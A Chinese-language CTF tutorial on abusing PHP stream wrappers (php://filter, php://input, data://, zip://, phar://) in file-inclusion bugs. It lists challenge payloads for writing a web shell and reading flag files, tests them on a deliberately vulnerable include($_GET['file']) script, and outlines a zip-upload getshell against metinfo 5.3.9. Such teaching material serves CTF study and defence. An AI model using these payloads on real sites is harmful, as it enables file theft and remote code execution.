ctf中常见的php伪协议应用
0x01 知识储备
三个白帽
payload:php://filter/write=convert.base64-decode/resource=shell.php
bypass:死亡die,base64在解码时会忽略特殊字符
pctf2016
payload:data:text/plain;base64,MS50eHQ=
bypass:stripos等if判断
hctf2016+swpu2016
payload1+payload2
payload1:php://filter/convert.base64-encode/resource=../flag.php
payload2:phar://xxx.jpg/shell
西安华山杯2016
payload:php://input
payload:data:text/plain;base64,xxxx
0x02 相关研究
1)、php:// 这里分析常用到的php://input和php://filter.其中php://input要求"allow_url_include"设置为"On" 写个测试文件test.php
include($_GET['file']);
?>
本地测试发现一个有趣的现象(本地1.php文件内容为phpinfo())
1、访问http://localhost:88/test.php?file=php://input
POST:php://filter/read=convert.base64-encode/resource=1.php
回显结果:php://filter/read=convert.base64-encode/resource=1.php
POST:<?php phpinfo();?>
回显结果:phpinfo()执行的结果
2、访问http://localhost:88/test.php?file=php://filter/read=convert.base64-encode/resource=1.php
回显结果:PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=
3、访问http://localhost:88/test.php?file=php://filter//resource=1.php
回显结果:phpinfo()执行的结果
4、访问http://localhost:88/test.php?file=PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=(可以是其他任意字符,这里我只是想和第二种情况好比较)
回显结果:Warning: include(PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=): failed to open stream: No such file or directory in C:\phpStudy\WWW\test.php on line 2
综上所述,就是“流”+“字符变量”,include不解析直接输出字符变量,“流”+“php代码”,include会解析执行,没有“流”则失败
2)、data:// 这里分析常用到的data:text/plain,xxxxxxx、data:text/plain;base64,xxxxxxx
访问http://localhost:88/test.php?file=data:text/plain,<?php phpinfo();?>
执行phpinfo
访问http://localhost:88/test.php?file=data:text/plain,aaaaa
输出aaaaa
访问http://localhost:88/test.php?file=data:text/plain;base64,PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=
执行phpinfo
访问http://localhost:88/test.php?file=data:text/plain;base64,aaaaaa
输出aaaaaa base64解码后的内容
如果用file_get_contents函数做测试的话,大多都和include函数相同,不同的就是php代码不能解析,直接输出
3)、zlib:// 有一种用法是:zip://archive.zip#dir/file.txt 找到一个真实漏洞:metinfo,版本大概是5.3.9 参见cheery师傅的博客,metinfo 最新代码执行一枚(8月30日) 漏洞成因:require_once $depth.'../include/captcha.class.php';变量$depth可控 利用方式为:构造文件目录结构为"../include/captcha.class.php",内含shell的文件,(在linux下才可构造,win下文件名不能含特殊字符),然后压缩为zip包,再把zip后缀改为png并上传 本地为了测试方便,修改为require_once $_GET['file'].'captcha.class.php';
访问`http://localhost:88/test.php?file=zip://C:/phpStudy/WWW/test.jpg%23`即可getshell
4)、phar:// 这种和zip伪协议差不多,用法有一点点区别一个是“#”,一个是“/” phar://archive.zip/dir/file.txt
同理访问http://localhost:88/test.php?file=phar://C:/phpStudy/WWW/test.jpg/即可getshell
0x03 应用场景
0x04再推荐几篇: